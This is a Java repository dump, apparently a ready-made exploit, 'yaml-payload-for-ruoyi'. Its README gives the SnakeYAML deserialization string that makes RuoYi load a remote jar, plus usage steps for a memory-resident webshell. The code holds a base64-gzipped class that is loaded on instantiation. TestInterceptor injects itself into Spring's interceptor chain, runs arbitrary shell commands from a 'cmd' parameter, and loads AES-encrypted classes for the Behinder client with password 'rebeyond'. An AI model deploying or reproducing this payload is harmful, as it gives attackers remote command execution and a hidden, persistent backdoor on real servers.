[
  {
    "path": ".gitignore",
    "content": "/target/\n"
  },
  {
    "path": "README.md",
    "content": "# yaml-payload-for-ruoyi\n**分析文章**\n\nhttps://xz.aliyun.com/t/10651\n\n**注入方法：**  \n把jar放到系统可以访问的地方，在定时任务创建新的定时任务，再立即执行一次即可\n```java\norg.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"you_url_of_jar\"]]]]')\n```\n![image-20211127160033485](http://image.lz2y.top/image-20211127160033485.png)\n\n若依 snakeyaml 反序列化漏洞注入内存马\n\n**RuoYi**  \n1. 直接执行命令：?cmd=whoami\n2. 连接冰蝎：/login?cmd=1（cmd不为空即可），密码为rebeyond，使用冰蝎正常连接即可\n3. 卸载内存马：?cmd=delete\n\n![image](https://user-images.githubusercontent.com/55266300/140618949-9973ce81-9308-4bc3-9dd7-286c7281ce33.png)\n**RuoYi Vue**  \n\n1. 直接执行命令：`/dev-api/?cmd=whoami`\n2. 连接冰蝎：暂不支持\n3. 卸载内存马：`/dev-api/?cmd=delete`\n\n\n\n**项目仅供学习使用，任何未授权检测造成的直接或者间接的后果及损失，均由使用者本人负责**\n"
  },
  {
    "path": "pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>groupId</groupId>\n    <artifactId>yaml-payload-for-ruoyi</artifactId>\n    <version>1.0-SNAPSHOT</version>\n\n    <properties>\n        <maven.compiler.source>8</maven.compiler.source>\n        <maven.compiler.target>8</maven.compiler.target>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-dependencies</artifactId>\n            <version>2.2.13.RELEASE</version>\n            <type>pom</type>\n            <scope>import</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n            <version>2.2.13.RELEASE</version>\n        </dependency>\n\n    </dependencies>\n    \n</project>"
  },
  {
    "path": "src/main/java/artsploit/AwesomeScriptEngineFactory.java",
    "content": "package artsploit;\n\nimport org.springframework.web.servlet.handler.HandlerInterceptorAdapter;\n\nimport javax.crypto.Cipher;\nimport javax.crypto.spec.SecretKeySpec;\nimport javax.script.ScriptEngine;\nimport javax.script.ScriptEngineFactory;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport javax.servlet.http.HttpSession;\nimport java.io.IOException;\nimport java.io.PrintWriter;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\nimport java.lang.reflect.Modifier;\nimport java.util.*;\n\npublic class AwesomeScriptEngineFactory implements ScriptEngineFactory {\n\n    static {\n        Class aClass = null;\n        try {\n            aClass = defineClass(\"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\");\n            aClass.newInstance();\n\n        } catch (Exception e) {\n            throw new RuntimeException(e);\n        }\n    }\n\n    public AwesomeScriptEngineFactory() {\n        try {\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n\n    public static Class defineClass(String classByte) throws NoSuchMethodException, IOException, InvocationTargetException, IllegalAccessException {\n        ClassLoader classLoader = (ClassLoader) Thread.currentThread().getContextClassLoader();\n        Method defineClass = ClassLoader.class.getDeclaredMethod(\"defineClass\",new Class[] {byte[].class, int.class, int.class});\n        defineClass.setAccessible(true);\n        byte[] evalBytes = Base64.getDecoder().decode(classByte);\n        java.io.ByteArrayInputStream byteInputStream = new java.io.ByteArrayInputStream(evalBytes);\n        java.io.ByteArrayOutputStream byteOutputStream = new java.io.ByteArrayOutputStream();\n        java.util.zip.GZIPInputStream gzipInputStream = new java.util.zip.GZIPInputStream(byteInputStream);\n        byte[] buffer = new byte[1024];\n        for (int i=-1;(i=gzipInputStream.read(buffer)) >0;){\n            byteOutputStream.write(buffer,0,i);\n        }\n        byte[] bytes = byteOutputStream.toByteArray();\n        return (Class<HttpServlet>) defineClass.invoke(classLoader, new Object[] {bytes, 0, bytes.length});\n    }\n\n\n\n    @Override\n    public String getEngineName() {\n        return null;\n    }\n\n    @Override\n    public String getEngineVersion() {\n        return null;\n    }\n\n    @Override\n    public List<String> getExtensions() {\n        return null;\n    }\n\n    @Override\n    public List<String> getMimeTypes() {\n        return null;\n    }\n\n    @Override\n    public List<String> getNames() {\n        return null;\n    }\n\n    @Override\n    public String getLanguageName() {\n        return null;\n    }\n\n    @Override\n    public String getLanguageVersion() {\n        return null;\n    }\n\n    @Override\n    public Object getParameter(String key) {\n        return null;\n    }\n\n    @Override\n    public String getMethodCallSyntax(String obj, String m, String... args) {\n        return null;\n    }\n\n    @Override\n    public String getOutputStatement(String toDisplay) {\n        return null;\n    }\n\n    @Override\n    public String getProgram(String... statements) {\n        return null;\n    }\n\n    @Override\n    public ScriptEngine getScriptEngine() {\n        return null;\n    }\n}\n"
  },
  {
    "path": "src/main/java/artsploit/B64.java",
    "content": "package artsploit;\n\nimport java.io.ByteArrayOutputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.util.zip.GZIPOutputStream;\n\npublic class B64 {\n    public static void main(String[] args) throws IOException {\n        InputStream in = B64.class.getClassLoader().getResourceAsStream(\"artsploit/TestInterceptor.class\");\n        byte[] bytes = new byte[in.available()];\n        in.read(bytes);\n        // 将字节压缩下\n        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();\n        GZIPOutputStream gzipOutputStream=new GZIPOutputStream(byteArrayOutputStream);\n        gzipOutputStream.write(bytes);\n        gzipOutputStream.close();\n        System.out.println(java.util.Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));\n    }\n}\n"
  },
  {
    "path": "src/main/java/artsploit/GodzillaUtils.java",
    "content": "package artsploit;\n\npublic class GodzillaUtils {\n\n\n    public static byte[] aes(byte[] s, boolean m,byte[] key) {\n        try {\n            javax.crypto.Cipher c = javax.crypto.Cipher.getInstance(\"AES\");\n            c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(key, \"AES\"));\n            return c.doFinal(s);\n        } catch (Exception e) {\n            return null;\n        }\n    }\n\n    public static String md5(String s) {\n        String ret = null;\n        try {\n            java.security.MessageDigest m;\n            m = java.security.MessageDigest.getInstance(\"MD5\");\n            m.update(s.getBytes(), 0, s.length());\n            ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();\n        } catch (Exception e) {\n        }\n        return ret;\n    }\n\n    public static String base64Encode(byte[] bs) throws Exception {\n        Class base64;\n        String value = null;\n        try {\n            base64 = Class.forName(\"java.util.Base64\");\n            Object Encoder = base64.getMethod(\"getEncoder\", null).invoke(base64, null);\n            value = (String) Encoder.getClass().getMethod(\"encodeToString\", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});\n        } catch (Exception e) {\n            try {\n                base64 = Class.forName(\"sun.misc.BASE64Encoder\");\n                Object Encoder = base64.newInstance();\n                value = (String) Encoder.getClass().getMethod(\"encode\", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});\n                value = value.replace(\"\\n\", \"\").replace(\"\\r\", \"\");\n            } catch (Exception e2) {\n            }\n        }\n        return value;\n    }\n\n    public static byte[] base64Decode(String bs) throws Exception {\n        Class base64;\n        byte[] value = null;\n        try {\n            base64 = Class.forName(\"java.util.Base64\");\n            Object decoder = base64.getMethod(\"getDecoder\", null).invoke(base64, null);\n            value = (byte[]) decoder.getClass().getMethod(\"decode\", new Class[]{String.class}).invoke(decoder, new Object[]{bs});\n        } catch (Exception e) {\n            try {\n                base64 = Class.forName(\"sun.misc.BASE64Decoder\");\n                Object decoder = base64.newInstance();\n                value = (byte[]) decoder.getClass().getMethod(\"decodeBuffer\", new Class[]{String.class}).invoke(decoder, new Object[]{bs});\n            } catch (Exception e2) {\n            }\n        }\n        return value;\n    }\n\n}\n"
  },
  {
    "path": "src/main/java/artsploit/TestInterceptor.java",
    "content": "package artsploit;\n\nimport org.apache.tomcat.util.codec.binary.Base64;\nimport org.springframework.web.servlet.HandlerInterceptor;\n\nimport javax.crypto.Cipher;\nimport javax.crypto.spec.SecretKeySpec;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport javax.servlet.http.HttpSession;\nimport java.io.PrintWriter;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.Method;\nimport java.lang.reflect.Modifier;\nimport java.util.*;\n\npublic class TestInterceptor implements HandlerInterceptor {\n    private final String k = \"e45e329feb5d925b\";\n\n    public Class g(byte []b) throws Exception {\n        // To get ClassLoader and invoke the protected final Method of ClassLoader\n        ClassLoader classLoader = ClassLoader.getSystemClassLoader();\n        Method defineClass = ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class);\n        Field modifiers = defineClass.getClass().getDeclaredField(\"modifiers\");\n        modifiers.setAccessible(true);\n        modifiers.setInt(defineClass, defineClass.getModifiers() & ~Modifier.FINAL & ~Modifier.STATIC | Modifier.PUBLIC);\n\n        return (Class) defineClass.invoke(classLoader,b, 0, b.length);\n    }\n\n    public TestInterceptor() throws Exception {\n        ArrayList<Object> adaptedInterceptors = getAdaptedInterceptors();\n        for (int i = adaptedInterceptors.size() - 1; i > 0; i--) {\n            if (adaptedInterceptors.get(i) instanceof TestInterceptor) {\n                return;\n            }\n        }\n        adaptedInterceptors.add(this);\n        Runtime.getRuntime().exec(\"calc\");\n    }\n\n\n    @Override\n    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {\n        String cmd = request.getParameter(\"cmd\");\n        if (cmd != null && cmd.equals(\"delete\")){\n            ArrayList<Object> adaptedInterceptors = getAdaptedInterceptors();\n            for (int i = adaptedInterceptors.size() - 1; i > 0; i--) {\n                if (adaptedInterceptors.get(i) instanceof TestInterceptor) {\n                    adaptedInterceptors.remove(i);\n                }\n            }\n        }else if (cmd != null && request.getMethod().equals(\"GET\")) {\n            PrintWriter writer = response.getWriter();\n            String o = \"\";\n            ProcessBuilder p;\n            if(System.getProperty(\"os.name\").toLowerCase().contains(\"win\")){\n                p = new ProcessBuilder(new String[]{\"cmd.exe\", \"/c\", cmd});\n            }else{\n                p = new ProcessBuilder(new String[]{\"/bin/sh\", \"-c\", cmd});\n            }\n            Scanner c = new Scanner(p.start().getInputStream()).useDelimiter(\"\\\\A\");\n            o = c.hasNext() ? c.next(): o;\n            c.close();\n            writer.write(o);\n            writer.flush();\n            writer.close();\n        }else if (cmd != null && request.getMethod().equals(\"POST\")){      // for rebeyond\n            HttpSession session = request.getSession();\n            session.setAttribute(\"u\", this.k);\n            Cipher c = Cipher.getInstance(\"AES\");\n            c.init(2,new SecretKeySpec(this.k.getBytes(),\"AES\"));\n\n            TestInterceptor testInterceptor = new TestInterceptor();\n            String base64String = request.getReader().readLine();\n            System.out.println(base64String);\n            byte[] bytesEncrypted = new Base64().decode(base64String);\n            byte[] bytesDecrypted = c.doFinal(bytesEncrypted);\n            Class newClass = testInterceptor.g(bytesDecrypted);\n\n            Map<String, Object> pageContext = new HashMap<String, Object>();\n            pageContext.put(\"session\", session);\n            pageContext.put(\"request\", request);\n            pageContext.put(\"response\", response);\n            newClass.newInstance().equals(pageContext);\n        }\n        return true;\n    }\n\n    private ArrayList<Object> getAdaptedInterceptors() throws NoSuchFieldException, ClassNotFoundException, IllegalAccessException {\n        Field f=Thread.currentThread().getContextClassLoader().loadClass(\"com.ruoyi.common.utils.spring.SpringUtils\").getDeclaredField(\"applicationContext\");\n        f.setAccessible(true);\n        org.springframework.web.context.WebApplicationContext context =(org.springframework.web.context.WebApplicationContext)f.get(null);\n        org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean(\"requestMappingHandlerMapping\");\n        Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField(\"adaptedInterceptors\");\n        field.setAccessible(true);\n        ArrayList<Object> adaptedInterceptors = (ArrayList<Object>)field.get(abstractHandlerMapping);\n        return adaptedInterceptors;\n    }\n}\n"
  },
  {
    "path": "src/main/resources/META-INF/services/javax.script.ScriptEngineFactory",
    "content": "artsploit.AwesomeScriptEngineFactory"
  }
]